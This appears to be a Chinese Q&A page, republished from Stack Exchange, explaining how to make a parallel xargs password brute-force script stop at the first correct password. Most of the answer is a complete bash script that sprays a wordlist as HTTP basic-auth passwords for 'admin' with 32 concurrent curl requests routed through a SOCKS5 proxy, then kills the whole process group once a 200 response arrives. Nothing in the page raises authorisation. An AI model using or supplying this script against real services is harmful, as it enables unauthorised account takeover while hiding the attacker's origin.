如何让xargs并行爆破脚本找到首个正确密码后立即退出
问题原因
现有脚本中awk匹配到200状态码后执行exit,仅会终止awk自身进程。管道上游的xargs以及它拉起的32个并行curl子进程不会收到终止信号,会继续跑完整个字典的所有条目,因此无法实现找到首个正确密码就全流程退出的效果。
补充:之前用GNU parallel能正常终止,是因为parallel原生支持任务成功后提前终止的参数,xargs本身没有内置该逻辑,需要手动做进程生命周期控制。
可直接用的修改版本
核心思路是通过命名管道异步接收curl返回结果,匹配到正确密码后直接杀死xargs所在的整个进程组,连带所有并行的curl子进程一起清理,无残留进程:
#!/bin/bash # 提前替换为你自己的实际字典路径和目标地址 wordlist="/path/to/your/password/dict.txt" ip="http://your-target-address" # 创建临时命名管道做结果通信 mkfifo .result_tmp exec 3<> .result_tmp rm -f .result_tmp # 后台启动xargs并行爆破任务,记录xargs的PID cat "$wordlist" | xargs -n 1 -P 32 -I {} curl -s -o /dev/null -w '%{http_code} {}\n' --socks5 127.0.0.1:1080 "$ip" -u admin:{} >&3 & xargs_pid=$! # 实时读取返回结果 while read -r resp_code passwd; do if [ "$resp_code" = "200" ]; then echo "Found password: $passwd" # 给xargs对应的进程组发终止信号,清掉所有还在跑的curl子进程 kill -TERM -$(ps -o pgid= "$xargs_pid" | tr -d ' ') 2>/dev/null # 关闭管道描述符,退出脚本 exec 3>&- exit 0 fi done <&3 wait "$xargs_pid" exec 3>&-
注意事项
- 所有变量比如
$wordlist、$ip都要加双引号包裹,避免路径或目标地址含特殊字符(比如空格)时脚本执行报错 - 不要用直接
pkill curl的方式终止进程,容易误杀系统里其他正在运行的curl任务 - 如果需要调整并行数,直接改
-P后面的数值即可,终止逻辑不受影响
内容的提问来源于stack exchange,提问作者Puffy
相关产品推荐
相关产品推荐

